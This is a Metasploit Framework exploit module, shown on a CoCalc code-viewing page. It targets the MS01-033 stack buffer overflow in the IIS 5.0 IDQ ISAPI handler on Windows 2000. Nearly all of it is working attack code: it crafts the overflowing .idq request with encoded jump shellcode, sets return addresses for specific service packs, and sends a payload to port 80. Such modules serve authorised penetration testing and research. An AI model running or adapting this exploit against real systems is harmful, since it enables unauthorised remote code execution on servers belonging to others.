Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/iis/ms01_033_idq.rb
19851 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MS01-033 Microsoft IIS 5.0 IDQ Path Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in the IDQ ISAPI handler for
18
Microsoft Index Server.
19
},
20
'Author' => [ 'MC' ],
21
'License' => MSF_LICENSE,
22
'References' => [
23
[ 'CVE', '2001-0500'],
24
[ 'OSVDB', '568'],
25
[ 'MSB', 'MS01-033'],
26
[ 'BID', '2880'],
27
],
28
'DefaultOptions' => {
29
'EXITFUNC' => 'thread',
30
},
31
32
'Privileged' => false,
33
'Payload' => {
34
'Space' => 800,
35
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
36
'StackAdjustment' => -3500,
37
},
38
39
'Platform' => 'win',
40
'Targets' => [
41
[ 'Windows 2000 Pro English SP0', { 'Ret' => '0x6e8f3e24' } ],
42
[ 'Windows 2000 Pro English SP1-SP2', { 'Ret' => '0x6e8f8cc4' } ],
43
],
44
'DisclosureDate' => '2001-06-18',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
register_options([Opt::RPORT(80)])
55
end
56
57
def exploit
58
connect
59
60
sploit = rand_text_alphanumeric(1) + ".idq?" + rand_text_alphanumeric(232)
61
sploit << "%u06eb.%u" + target.ret[-4, 4] + "%u" + target.ret[-8, 4]
62
sploit << ".%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF="
63
sploit << rand_text_alphanumeric(1) + " HTTP/1.0\r\n\r\n" + rand_text_alphanumeric(46)
64
65
uri = '/' + sploit + payload.encoded
66
67
res = "GET #{uri}\r\n\r\n"
68
69
print_status("Trying target #{target.name}...")
70
71
sock.put(res)
72
73
handler
74
disconnect
75
end
76
end
77
78